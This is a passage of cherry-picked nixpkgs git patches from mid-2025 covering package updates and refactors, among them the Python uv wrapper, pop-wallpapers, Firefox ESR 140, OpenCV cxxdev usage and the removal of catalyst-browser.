-      --replace-fail '"""Return the uv binary path."""' "return '$out/bin/uv'"
+  build-system = [ hatchling ];
+
+  postPatch =
+    # Do not rely on path lookup at runtime to find the uv binary.
+    # Use the propagated binary instead.
+    ''
+      substituteInPlace python/uv/_find_uv.py \
+        --replace-fail '"""Return the uv binary path."""' "return '${lib.getExe uv}'"
+    ''
+    # Sidestep the maturin build system in favour of reusing the binary already built by nixpkgs,
+    # to avoid rebuilding the uv binary for every active python package set.
+    + ''
+      substituteInPlace pyproject.toml \
+        --replace-fail 'requires = ["maturin>=1.0,<2.0"]' 'requires = ["hatchling"]' \
+        --replace-fail 'build-backend = "maturin"' 'build-backend = "hatchling.build"'
+
+      cat >> pyproject.toml <<EOF
+      [tool.hatch.build]
+      packages = ['python/uv']
+
+      EOF
+    '';
+
+  postInstall = ''
+    mkdir -p $out/bin && ln -s ${lib.getExe uv} $out/bin/uv
   '';
 
-  nativeBuildInputs = [
-    installShellFiles
-    rustPlatform.cargoSetupHook
-    rustPlatform.maturinBuildHook
-  ];
-
-  nativeCheckInputs = [ versionCheckHook ];
-
-  pyproject = true;
   pythonImportsCheck = [ "uv" ];
 }
diff --git a/pkgs/top-level/python-packages.nix b/pkgs/top-level/python-packages.nix
index cf29590efc11..bd0e58573d02 100644
--- a/pkgs/top-level/python-packages.nix
+++ b/pkgs/top-level/python-packages.nix
@@ -18613,7 +18613,7 @@ self: super: with self; {
 
   uuid6 = callPackage ../development/python-modules/uuid6 { };
 
-  uv = callPackage ../development/python-modules/uv { };
+  uv = callPackage ../development/python-modules/uv { inherit (pkgs) uv; };
 
   uv-build = callPackage ../development/python-modules/uv-build { };
 

From 5d5c070f61160e839c555e15fbd0220aeb179508 Mon Sep 17 00:00:00 2001
From: Jasi <normalc@posteo.net>
Date: Sun, 22 Jun 2025 21:39:47 -0400
Subject: [PATCH 1580/4511] pop-wallpapers: refactor Makefile handling

(cherry picked from commit a108dbc79f209aac0e39203cdca1b17f1ee0a398)
---
 pkgs/by-name/po/pop-wallpapers/package.nix | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/pkgs/by-name/po/pop-wallpapers/package.nix b/pkgs/by-name/po/pop-wallpapers/package.nix
index 68dec91ce5e7..86006fd80d92 100644
--- a/pkgs/by-name/po/pop-wallpapers/package.nix
+++ b/pkgs/by-name/po/pop-wallpapers/package.nix
@@ -17,10 +17,20 @@ stdenvNoCC.mkDerivation (finalAttrs: {
     hash = "sha256-JST5Rt4Ec1lRu62PUt98S2G1vKthAyOSpyCpuCnkGmw=";
   };
 
+  # 1. Future-proofs calls to imagemagick's convert feature
+  # 2. Replace hard-coded /usr path to build-system `datadir`
+  postPatch = ''
+    substituteInPlace Makefile \
+        --replace-fail "convert" "magick" \
+        --replace-fail "/usr/share" "\$(datadir)"
+  '';
+
   nativeBuildInputs = [ imagemagick ];
 
   makeFlags = [ "prefix=$(out)" ];
 
+  enableParallelBuilding = true;
+
   passthru.updateScript = nix-update-script { };
 
   meta = {

From fa3add115e3c9fa66ca87992293eb68505f3f7dd Mon Sep 17 00:00:00 2001
From: Jasi <normalc@posteo.net>
Date: Mon, 23 Jun 2025 23:56:55 -0400
Subject: [PATCH 1581/4511] =?UTF-8?q?pop-wallpapers:=201.0.5=20=E2=86=92?=
 =?UTF-8?q?=201.0.5-unstable-2025-06-24?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

(cherry picked from commit eed41b0b20d40a63bf65103916bc7b875a851c5a)
---
 pkgs/by-name/po/pop-wallpapers/package.nix | 15 ++++++---------
 1 file changed, 6 insertions(+), 9 deletions(-)

diff --git a/pkgs/by-name/po/pop-wallpapers/package.nix b/pkgs/by-name/po/pop-wallpapers/package.nix
index 86006fd80d92..fc64a66c6ca6 100644
--- a/pkgs/by-name/po/pop-wallpapers/package.nix
+++ b/pkgs/by-name/po/pop-wallpapers/package.nix
@@ -8,21 +8,18 @@
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "pop-wallpapers";
-  version = "1.0.5";
+  version = "1.0.5-unstable-2025-06-24";
 
   src = fetchFromGitHub {
     owner = "pop-os";
     repo = "wallpapers";
-    rev = "refs/tags/${finalAttrs.version}";
-    hash = "sha256-JST5Rt4Ec1lRu62PUt98S2G1vKthAyOSpyCpuCnkGmw=";
+    rev = "20a9fdd1ed86aadfbbfcd55dc3d2d9eb8ae28e15";
+    hash = "sha256-GUXxy+zRdBCsvWW9ytJZUHSw6rGc3uNTjNIsiK3l+zA=";
   };
 
-  # 1. Future-proofs calls to imagemagick's convert feature
-  # 2. Replace hard-coded /usr path to build-system `datadir`
+  # Future-proofs calls to imagemagick's convert feature
   postPatch = ''
-    substituteInPlace Makefile \
-        --replace-fail "convert" "magick" \
-        --replace-fail "/usr/share" "\$(datadir)"
+    substituteInPlace Makefile --replace-fail "convert" "magick"
   '';
 
   nativeBuildInputs = [ imagemagick ];
@@ -31,7 +28,7 @@ stdenvNoCC.mkDerivation (finalAttrs: {
 
   enableParallelBuilding = true;
 
-  passthru.updateScript = nix-update-script { };
+  passthru.updateScript = nix-update-script { extraArgs = [ "--version=branch" ]; };
 
   meta = {
     description = "Wallpapers for Pop!_OS";

From 7351826a52cd17baecd79c294d3853f2682b21c2 Mon Sep 17 00:00:00 2001
From: Jasi <normalc@posteo.net>
Date: Mon, 23 Jun 2025 13:11:22 -0400
Subject: [PATCH 1582/4511] pop-wallpapers: add normalcea as maintainer

(cherry picked from commit 74a55427badc7e0c8162b0d5a6df5bf190fd59da)
---
 pkgs/by-name/po/pop-wallpapers/package.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/po/pop-wallpapers/package.nix b/pkgs/by-name/po/pop-wallpapers/package.nix
index fc64a66c6ca6..350d569f99dc 100644
--- a/pkgs/by-name/po/pop-wallpapers/package.nix
+++ b/pkgs/by-name/po/pop-wallpapers/package.nix
@@ -84,7 +84,10 @@ stdenvNoCC.mkDerivation (finalAttrs: {
       # tony-webster-97532.jpg
       publicDomain
     ];
-    maintainers = with lib.maintainers; [ pandapip1 ];
+    maintainers = with lib.maintainers; [
+      normalcea
+      pandapip1
+    ];
     platforms = lib.platforms.all;
   };
 })

From 4f72afabb73afbdba3d4e2227cdc411805879a32 Mon Sep 17 00:00:00 2001
From: Ryan Hendrickson <ryan.hendrickson@alum.mit.edu>
Date: Tue, 24 Jun 2025 13:26:50 -0400
Subject: [PATCH 1583/4511] firefox-devedition-unwrapped: 140.0b9 -> 141.0b1

(cherry picked from commit 02d91c78d566dc1d6510496b332ab291de145da7)
---
 .../browsers/firefox/packages/firefox-devedition.nix          | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
index f9f991475be4..6c74ffcb3ea4 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
@@ -10,13 +10,13 @@
 buildMozillaMach rec {
   pname = "firefox-devedition";
   binaryName = pname;
-  version = "140.0b9";
+  version = "141.0b1";
   applicationName = "Firefox Developer Edition";
   requireSigning = false;
   branding = "browser/branding/aurora";
   src = fetchurl {
     url = "mirror://mozilla/devedition/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "c653824a5be5e376f53bd73589760af6bb74d7ee66f6557ec9fda4e3d795a851f49d73c063abac69aa6663f7f8b3c76b9487d0c067e33bd1c2be7733b9356325";
+    sha512 = "a849c601ce2076422d3f3cccfc74adbbf83c72805d7ec5ae336e3e4e2c6124a2853b3817589cf5779430784fe492b43bf8a4e48f6c7761d499e4b779f105d5a1";
   };
 
   # buildMozillaMach sets MOZ_APP_REMOTINGNAME during configuration, but

From cb3f6dc905e8e6eb006ae4c72520d849af230050 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Wed, 25 Jun 2025 19:28:46 +0200
Subject: [PATCH 1584/4511] firefox-esr-140-unwrapped: init at 140.0esr

Together with the wrapper and the nixos test.

(cherry picked from commit b2bc7903f2a6e2a238e74ef72de62cf6b9662f39)
---
 nixos/tests/all-tests.nix                     |  4 ++
 .../firefox/packages/firefox-esr-140.nix      | 40 +++++++++++++++++++
 pkgs/top-level/all-packages.nix               | 17 ++++++++
 3 files changed, 61 insertions(+)
 create mode 100644 pkgs/applications/networking/browsers/firefox/packages/firefox-esr-140.nix

diff --git a/nixos/tests/all-tests.nix b/nixos/tests/all-tests.nix
index d0c41e0e9629..fb4a622c0f08 100644
--- a/nixos/tests/all-tests.nix
+++ b/nixos/tests/all-tests.nix
@@ -491,6 +491,10 @@ in
     imports = [ ./firefox.nix ];
     _module.args.firefoxPackage = pkgs.firefox-esr-128;
   };
+  firefox-esr-140 = runTest {
+    imports = [ ./firefox.nix ];
+    _module.args.firefoxPackage = pkgs.firefox-esr-140;
+  };
   firefoxpwa = handleTest ./firefoxpwa.nix { };
   firejail = handleTest ./firejail.nix { };
   firewall = handleTest ./firewall.nix { nftables = false; };
diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox-esr-140.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox-esr-140.nix
new file mode 100644
index 000000000000..24a2e506f388
--- /dev/null
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox-esr-140.nix
@@ -0,0 +1,40 @@
+{
+  stdenv,
+  lib,
+  callPackage,
+  fetchurl,
+  nixosTests,
+  buildMozillaMach,
+}:
+
+buildMozillaMach rec {
+  pname = "firefox";
+  version = "140.0esr";
+  applicationName = "Firefox ESR";
+  src = fetchurl {
+    url = "mirror://mozilla/firefox/releases/${version}/source/firefox-${version}.source.tar.xz";
+    sha512 = "12e40b81627ac4b44d43edb94aa1cd2a6c50bb49503e3b1b6f80259eed197ecb5847a0f0520ad204340dfe0ab7b5a4aa1ced2bc21ee0258471e8fdb121f6aaf4";
+  };
+
+  meta = {
+    changelog = "https://www.mozilla.org/en-US/firefox/${lib.removeSuffix "esr" version}/releasenotes/";
+    description = "Web browser built from Firefox source tree";
+    homepage = "http://www.mozilla.com/en-US/firefox/";
+    maintainers = with lib.maintainers; [ hexa ];
+    platforms = lib.platforms.unix;
+    broken = stdenv.buildPlatform.is32bit;
+    # since Firefox 60, build on 32-bit platforms fails with "out of memory".
+    # not in `badPlatforms` because cross-compilation on 64-bit machine might work.
+    maxSilent = 14400; # 4h, double the default of 7200s (c.f. #129212, #129115)
+    license = lib.licenses.mpl20;
+    mainProgram = "firefox";
+  };
+  tests = {
+    inherit (nixosTests) firefox-esr-140;
+  };
+  updateScript = callPackage ../update.nix {
+    attrPath = "firefox-esr-140-unwrapped";
+    versionPrefix = "140";
+    versionSuffix = "esr";
+  };
+}
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 657fa36911ed..9d2e3993934a 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -12490,6 +12490,18 @@ with pkgs;
           buildMozillaMach
           ;
       };
+  firefox-esr-140-unwrapped =
+    import ../applications/networking/browsers/firefox/packages/firefox-esr-140.nix
+      {
+        inherit
+          stdenv
+          lib
+          callPackage
+          fetchurl
+          nixosTests
+          buildMozillaMach
+          ;
+      };
   firefox-esr-unwrapped = firefox-esr-128-unwrapped;
 
   firefox = wrapFirefox firefox-unwrapped { };
@@ -12503,6 +12515,11 @@ with pkgs;
     wmClass = "firefox-esr";
     icon = "firefox-esr";
   };
+  firefox-esr-140 = wrapFirefox firefox-esr-140-unwrapped {
+    nameSuffix = "-esr";
+    wmClass = "firefox-esr";
+    icon = "firefox-esr";
+  };
   firefox-esr = firefox-esr-128;
 
   firefox-bin-unwrapped = callPackage ../applications/networking/browsers/firefox-bin {

From 261e9e65c7bef6e184bd30d69edde32da219c8ea Mon Sep 17 00:00:00 2001
From: Connor Baker <ConnorBaker01@gmail.com>
Date: Tue, 24 Jun 2025 18:30:04 +0000
Subject: [PATCH 1585/4511] Revert "opencv: export CUDA_TOOLKIT_ROOT_DIR so
 findCUDA uses Nix-selected toolkit"

This reverts commit 9bb1700d790325f5a8608e3287b51bd5bdb56e90.

Packages should use `opencv.cxxdev` to bring in OpenCV's C++ dev files.

(cherry picked from commit 8b38ae2466016293517461e1fc5a4d78a7943a00)
---
 pkgs/development/libraries/opencv/4.x.nix | 6 +-----
 1 file changed, 1 insertion(+), 5 deletions(-)

diff --git a/pkgs/development/libraries/opencv/4.x.nix b/pkgs/development/libraries/opencv/4.x.nix
index fc2432d6bc94..dd62e5398981 100644
--- a/pkgs/development/libraries/opencv/4.x.nix
+++ b/pkgs/development/libraries/opencv/4.x.nix
@@ -585,13 +585,9 @@ effectiveStdenv.mkDerivation {
       mkdir -p "$cxxdev/nix-support"
       echo "''${!outputDev}" >> "$cxxdev/nix-support/propagated-build-inputs"
     ''
-    # hard-wire CUDA_TOOLKIT_ROOT_DIR so FindCUDA sees the toolkit
     # remove the requirement that the exact same version of CUDA is used in packages
-    #   consuming OpenCV's CMakes files
+    # consuming OpenCV's CMakes files
     + optionalString enableCuda ''
-      sed -i '1s;^;set(CUDA_TOOLKIT_ROOT_DIR ${cudaPackages.cudatoolkit})\n;' \
-        "$out/lib/cmake/opencv4/OpenCVConfig.cmake"
-
       substituteInPlace "$out/lib/cmake/opencv4/OpenCVConfig.cmake" \
         --replace-fail \
           'find_host_package(CUDA ''${OpenCV_CUDA_VERSION} EXACT REQUIRED)' \

From 60f7223d18a132d736f7ad7ec82980010ec508f9 Mon Sep 17 00:00:00 2001
From: Connor Baker <ConnorBaker01@gmail.com>
Date: Tue, 24 Jun 2025 22:54:59 +0000
Subject: [PATCH 1586/4511] opencv: use FindCudaToolkit module in CMake config

Signed-off-by: Connor Baker <ConnorBaker01@gmail.com>
(cherry picked from commit a2430016224843b7a1890c31f3b5333ed121a0ff)
---
 pkgs/development/libraries/opencv/4.x.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/development/libraries/opencv/4.x.nix b/pkgs/development/libraries/opencv/4.x.nix
index dd62e5398981..df0633b615a0 100644
--- a/pkgs/development/libraries/opencv/4.x.nix
+++ b/pkgs/development/libraries/opencv/4.x.nix
@@ -591,7 +591,7 @@ effectiveStdenv.mkDerivation {
       substituteInPlace "$out/lib/cmake/opencv4/OpenCVConfig.cmake" \
         --replace-fail \
           'find_host_package(CUDA ''${OpenCV_CUDA_VERSION} EXACT REQUIRED)' \
-          'find_host_package(CUDA REQUIRED)' \
+          'find_host_package(CUDAToolkit REQUIRED)' \
         --replace-fail \
           'message(FATAL_ERROR "OpenCV static library was compiled with CUDA' \
           'message("OpenCV static library was compiled with CUDA'

From 7546cb02f05b3d958187707f7b2009fa298d3704 Mon Sep 17 00:00:00 2001
From: Connor Baker <ConnorBaker01@gmail.com>
Date: Tue, 24 Jun 2025 23:29:17 +0000
Subject: [PATCH 1587/4511] bambu-studio: use OpenCV's cxxdev output

Signed-off-by: Connor Baker <ConnorBaker01@gmail.com>
(cherry picked from commit e260660977ccb58c954ab4faca5eda8360c24ef3)
---
 pkgs/by-name/ba/bambu-studio/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/ba/bambu-studio/package.nix b/pkgs/by-name/ba/bambu-studio/package.nix
index 69290e946837..254e0c1e912e 100644
--- a/pkgs/by-name/ba/bambu-studio/package.nix
+++ b/pkgs/by-name/ba/bambu-studio/package.nix
@@ -106,7 +106,7 @@ stdenv.mkDerivation rec {
       webkitgtk_4_0
       wxGTK'
       xorg.libX11
-      opencv
+      opencv.cxxdev
     ]
     ++ lib.optionals withSystemd [ systemd ]
     ++ checkInputs;

From 64628a32df988ce03dd848cef94f2f9db3719fc7 Mon Sep 17 00:00:00 2001
From: Connor Baker <ConnorBaker01@gmail.com>
Date: Tue, 24 Jun 2025 23:29:31 +0000
Subject: [PATCH 1588/4511] basalt-monado: use OpenCV's cxxdev output

Signed-off-by: Connor Baker <ConnorBaker01@gmail.com>
(cherry picked from commit 4c5f4394a9da37f060cf8b46121af0f2dae46061)
---
 pkgs/by-name/ba/basalt-monado/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/ba/basalt-monado/package.nix b/pkgs/by-name/ba/basalt-monado/package.nix
index e37b4f1289a0..7d950559d94b 100644
--- a/pkgs/by-name/ba/basalt-monado/package.nix
+++ b/pkgs/by-name/ba/basalt-monado/package.nix
@@ -57,7 +57,7 @@ stdenv.mkDerivation {
     libGL
     lz4
     magic-enum
-    opencv
+    opencv.cxxdev
     tbb
     xorg.libX11
   ];

From 8166ab7c0c0d2ac62a5e253efa7e7524a154e51a Mon Sep 17 00:00:00 2001
From: Connor Baker <ConnorBaker01@gmail.com>
Date: Tue, 24 Jun 2025 23:29:46 +0000
Subject: [PATCH 1589/4511] orca-slicer: use OpenCV's cxxdev output

Signed-off-by: Connor Baker <ConnorBaker01@gmail.com>
(cherry picked from commit 23cb263c38ac576f1abeebff3fa9f0fd17a58892)
---
 pkgs/by-name/or/orca-slicer/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/or/orca-slicer/package.nix b/pkgs/by-name/or/orca-slicer/package.nix
index 14887e24ae25..ecdb0b4814b0 100644
--- a/pkgs/by-name/or/orca-slicer/package.nix
+++ b/pkgs/by-name/or/orca-slicer/package.nix
@@ -116,7 +116,7 @@ stdenv.mkDerivation (finalAttrs: {
       webkitgtk_4_0
       wxGTK'
       xorg.libX11
-      opencv
+      opencv.cxxdev
       libnoise
     ]
     ++ lib.optionals withSystemd [ systemd ]

From 957e47a9e4927a47d2edbee15b2e5b110f537b32 Mon Sep 17 00:00:00 2001
From: Connor Baker <ConnorBaker01@gmail.com>
Date: Tue, 24 Jun 2025 23:29:58 +0000
Subject: [PATCH 1590/4511] qimgv: use OpenCV's cxxdev output

Signed-off-by: Connor Baker <ConnorBaker01@gmail.com>
(cherry picked from commit 5859ccdca36c7036b73b5551857a53a7b91b163b)
---
 pkgs/applications/graphics/qimgv/default.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/applications/graphics/qimgv/default.nix b/pkgs/applications/graphics/qimgv/default.nix
index 03b78893bf06..0fc80b57d0a9 100644
--- a/pkgs/applications/graphics/qimgv/default.nix
+++ b/pkgs/applications/graphics/qimgv/default.nix
@@ -34,7 +34,7 @@ stdenv.mkDerivation rec {
   buildInputs = [
     exiv2
     mpv
-    opencv4
+    opencv4.cxxdev
     libsForQt5.qtbase
     libsForQt5.qtimageformats
     libsForQt5.qtsvg

From 50d875badcd7d4860aaa3bbd3dfec382331afad6 Mon Sep 17 00:00:00 2001
From: Connor Baker <ConnorBaker01@gmail.com>
Date: Tue, 24 Jun 2025 23:30:10 +0000
Subject: [PATCH 1591/4511] rpcs3: use OpenCV's cxxdev output

Signed-off-by: Connor Baker <ConnorBaker01@gmail.com>
(cherry picked from commit 7c4cbeea8ee659bb40035052b26f94cbc71c2a44)
---
 pkgs/by-name/rp/rpcs3/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/rp/rpcs3/package.nix b/pkgs/by-name/rp/rpcs3/package.nix
index 2c00a3dc91d6..e4fd20dcb7f3 100644
--- a/pkgs/by-name/rp/rpcs3/package.nix
+++ b/pkgs/by-name/rp/rpcs3/package.nix
@@ -129,7 +129,7 @@ stdenv.mkDerivation {
       flatbuffers
       llvm_18
       libSM
-      opencv
+      opencv.cxxdev
     ]
     ++ cubeb.passthru.backendLibs
     ++ lib.optional faudioSupport faudio

From c45eaf4276a7f4dc65986d31e61ef1f8d25c3468 Mon Sep 17 00:00:00 2001
From: Connor Baker <ConnorBaker01@gmail.com>
Date: Tue, 24 Jun 2025 23:39:28 +0000
Subject: [PATCH 1592/4511] obs-studio-plugins.obs-backgroundremoval: use
 OpenCV's cxxdev output

Signed-off-by: Connor Baker <ConnorBaker01@gmail.com>
(cherry picked from commit 30dc713a31492c0435e855845cda294db5669ae9)
---
 .../video/obs-studio/plugins/obs-backgroundremoval/default.nix  | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/applications/video/obs-studio/plugins/obs-backgroundremoval/default.nix b/pkgs/applications/video/obs-studio/plugins/obs-backgroundremoval/default.nix
index 408e2bb709cc..08526e81b8ee 100644
--- a/pkgs/applications/video/obs-studio/plugins/obs-backgroundremoval/default.nix
+++ b/pkgs/applications/video/obs-studio/plugins/obs-backgroundremoval/default.nix
@@ -29,7 +29,7 @@ stdenv.mkDerivation rec {
   buildInputs = [
     obs-studio
     onnxruntime
-    opencv
+    opencv.cxxdev
     qt6.qtbase
     curl
   ];

From e25629578ac4bd793333f86441b6b5eeed604dd2 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 16 Jun 2025 11:50:34 +0000
Subject: [PATCH 1593/4511] rqbit: 8.0.0 -> 8.1.1

(cherry picked from commit 8aa7813a643762c7f43eca79dbb4c8f1433cda90)
---
 pkgs/by-name/rq/rqbit/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/rq/rqbit/package.nix b/pkgs/by-name/rq/rqbit/package.nix
index f5205818e20a..8095275e1387 100644
--- a/pkgs/by-name/rq/rqbit/package.nix
+++ b/pkgs/by-name/rq/rqbit/package.nix
@@ -12,13 +12,13 @@
 let
   pname = "rqbit";
 
-  version = "8.0.0";
+  version = "8.1.1";
 
   src = fetchFromGitHub {
     owner = "ikatson";
     repo = "rqbit";
     rev = "v${version}";
-    hash = "sha256-Meztr/UxLgnbd3YwkSW0vy+D2N4mFg2v+T4nBnYiQBI=";
+    hash = "sha256-5ErcI3hwC2EgxsjgEVlbHP1MzBf/LndpgTfynQGc29s=";
   };
 
   rqbit-webui = buildNpmPackage {
@@ -46,7 +46,7 @@ rustPlatform.buildRustPackage {
   inherit pname version src;
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-FGcws80cX0I74bVaSV6OLntPFPNanGAFm6CVHDAGbOU=";
+  cargoHash = "sha256-gYasOjrG0oeT/6Ben57MKAvBtgpoSmZ93RZQqSXAxIc=";
 
   nativeBuildInputs = lib.optionals stdenv.hostPlatform.isLinux [ pkg-config ];
 

From 5d2b1ee4620e1c59b71e2487a8ac66e505f631b0 Mon Sep 17 00:00:00 2001
From: Amadej Kastelic <amadejkastelic7@gmail.com>
Date: Wed, 25 Jun 2025 18:57:37 +0200
Subject: [PATCH 1594/4511] deepin-anything: 6.1.9 -> 6.2.10

(cherry picked from commit ecd753598008dbc4997d89bea47d6142f654fc93)
---
 pkgs/desktops/deepin/tools/deepin-anything/default.nix | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/pkgs/desktops/deepin/tools/deepin-anything/default.nix b/pkgs/desktops/deepin/tools/deepin-anything/default.nix
index 80e719686f0c..0e0bdb7ffa4e 100644
--- a/pkgs/desktops/deepin/tools/deepin-anything/default.nix
+++ b/pkgs/desktops/deepin/tools/deepin-anything/default.nix
@@ -14,13 +14,13 @@
 
 stdenv.mkDerivation rec {
   pname = "deepin-anything";
-  version = "6.1.9";
+  version = "6.2.10";
 
   src = fetchFromGitHub {
     owner = "linuxdeepin";
     repo = "deepin-anything";
     rev = version;
-    hash = "sha256-OYPsUXMjuU6gG+EzyYl640+2/59n8D5V906CVGwn6Bo=";
+    hash = "sha256-eGel+pLAYHYkPXQxzTz+lMPSlgNiDFAev2bzGjj4ZFw=";
   };
 
   postPatch = ''
@@ -41,6 +41,7 @@ stdenv.mkDerivation rec {
     udisks2-qt5
     util-linux
     libnl
+    libsForQt5.polkit-qt
     glib
     pcre
   ];

From 44ba39f7d9cce13e6451d07411f57fa3974ba823 Mon Sep 17 00:00:00 2001
From: Leona Maroni <dev@leona.is>
Date: Wed, 25 Jun 2025 17:16:26 +0200
Subject: [PATCH 1595/4511] catalyst-browser: drop

catalyst is electron browser which are unsafe be design due to lack of
proper sandboxing.

The package also seems unmaintained upstream.
Updates were not backported too, which is not accaptable for a browser.

Also, it has no commiter among its maintainers, which [is required](https://github.com/NixOS/nixpkgs/tree/master/pkgs#quick-start-to-adding-a-package).

(cherry picked from commit 3bb1754d41436cab99d60c3ba887bb2f390c273d)
---
 pkgs/by-name/ca/catalyst-browser/package.nix | 85 --------------------
 pkgs/top-level/aliases.nix                   |  1 +
 2 files changed, 1 insertion(+), 85 deletions(-)
 delete mode 100644 pkgs/by-name/ca/catalyst-browser/package.nix

diff --git a/pkgs/by-name/ca/catalyst-browser/package.nix b/pkgs/by-name/ca/catalyst-browser/package.nix
deleted file mode 100644
index 97c53a44a57c..000000000000
--- a/pkgs/by-name/ca/catalyst-browser/package.nix
+++ /dev/null
@@ -1,85 +0,0 @@
-{
-  stdenv,
-  lib,
-  fetchurl,
-  appimageTools,
-  makeWrapper,
-  electron_33,
-  electronPackage ? electron_33,
-  asar,
-}:
-
-let
-  electron = electronPackage;
-in
-stdenv.mkDerivation rec {
-  pname = "catalyst-browser";
-  version = "3.9.6";
-
-  src = fetchurl {
-    url = "https://github.com/CatalystDevOrg/Catalyst/releases/download/v${version}/catalyst-${version}.AppImage";
-    hash = "sha256-aqEwVykPt6p3HjDAsr7N/+uHnEK5yTUAgCsaT7OmI0w=";
-    name = "catalyst-${version}.AppImage";
-  };
-
-  appimageContents = appimageTools.extractType2 {
-    inherit pname src version;
-  };
-
-  dontUnpack = true;
-  dontConfigure = true;
-  dontBuild = true;
-
-  nativeBuildInputs = [
-    makeWrapper
-    asar
-  ];
-
-  installPhase = ''
-    runHook preInstall
-
-    mkdir -p $out/bin $out/share/catalyst $out/share/applications
-    mkdir -p $out/share/catalyst/resources/
-
-    cp -a ${appimageContents}/locales $out/share/catalyst
-    cp -a ${appimageContents}/catalyst.desktop $out/share/applications/catalyst.desktop
-    mkdir -p $out/share/pixmaps
-    cp -r ${appimageContents}/usr/share/icons/hicolor/1080x1080/apps/catalyst.png $out/share/pixmaps/
-    asar extract ${appimageContents}/resources/app.asar resources/
-    rm -rf resources/.github
-    rm -rf resources/.vscode
-    rm -rf resources/.eslintrc.json
-    rm -rf resources/.gitignore
-    rm -rf resources/.pnpm-debug.log
-    rm -rf resources/contributing.md
-    rm -rf resources/pnpm-lock.yaml
-    rm -rf resources/README.md
-    rm -rf resources/CODE_OF_CONDUCT.md
-    rm -rf *.nix
-    substituteInPlace resources/src/index.html \
-      --replace-fail 'catalyst-default-distrib' 'catalyst-default-nixpkgs'
-
-    substituteInPlace $out/share/applications/catalyst.desktop \
-      --replace-fail 'Exec=AppRun' 'Exec=${meta.mainProgram}'
-
-    asar pack resources/ $out/share/catalyst/resources/app.asar
-
-    runHook postInstall
-  '';
-
-  postFixup = ''
-    makeWrapper ${electron}/bin/electron $out/bin/${meta.mainProgram} \
-      --add-flags $out/share/catalyst/resources/app.asar \
-      --prefix LD_LIBRARY_PATH : "${lib.makeLibraryPath [ stdenv.cc.cc ]}"
-  '';
-
-  meta = {
-    description = "Minimal, functional, and customizable user-focused FOSS web browser based on Chromium";
-    homepage = "https://getcatalyst.eu.org";
-    license = lib.licenses.mit;
-    mainProgram = "catalyst";
-    maintainers = with lib.maintainers; [ jdev082 ];
-    platforms = [ "x86_64-linux" ];
-    sourceProvenance = [ lib.sourceTypes.binaryNativeCode ];
-  };
-}
diff --git a/pkgs/top-level/aliases.nix b/pkgs/top-level/aliases.nix
index 7a8ccf7fce6b..361d1c96b948 100644
--- a/pkgs/top-level/aliases.nix
+++ b/pkgs/top-level/aliases.nix
@@ -400,6 +400,7 @@ mapAliases {
   cassandra_3_0 = throw "'cassandra_3_0' has been removed has it reached end-of-life"; # Added 2025-03-23
   cassandra_3_11 = throw "'cassandra_3_11' has been removed has it reached end-of-life"; # Added 2025-03-23
   cawbird = throw "cawbird has been abandoned upstream and is broken anyways due to Twitter closing its API";
+  catalyst-browser = throw "'catalyst-browser' has been removed due to a lack of maintenance and not satisfying our security criteria for browsers."; # Added 2025-06-25
   cde = throw "'cde' has been removed as it is unmaintained and broken"; # Added 2025-05-17
   centerim = throw "centerim has been removed due to upstream disappearing"; # Added 2025-04-18
   certmgr-selfsigned = certmgr; # Added 2023-11-30

From ad4f86b4943470ff781714392f6b2e351a45e55b Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Mon, 23 Jun 2025 22:08:33 +0800
Subject: [PATCH 1596/4511] wechat: 4.0.5.24 -> 4.0.5.27-29258 for darwin

(cherry picked from commit 0eb3352e678932daf59cab3998a0192c36560588)
---
 pkgs/by-name/we/wechat/package.nix | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/we/wechat/package.nix b/pkgs/by-name/we/wechat/package.nix
index f3e052d56fa8..c0f53906e2b4 100644
--- a/pkgs/by-name/we/wechat/package.nix
+++ b/pkgs/by-name/we/wechat/package.nix
@@ -27,11 +27,12 @@ let
 
   sources =
     let
+      # https://dldir1.qq.com/weixin/mac/mac-release.xml
       any-darwin = {
-        version = "4.0.5.24";
+        version = "4.0.5.27-29258";
         src = fetchurl {
-          url = "https://web.archive.org/web/20250608064358if_/https://dldir1v6.qq.com/weixin/Universal/Mac/WeChatMac.dmg";
-          hash = "sha256-ieixBgYhZ5jU3TWCV7BXKFBidJ1bbabXBHTkrpNcGDI=";
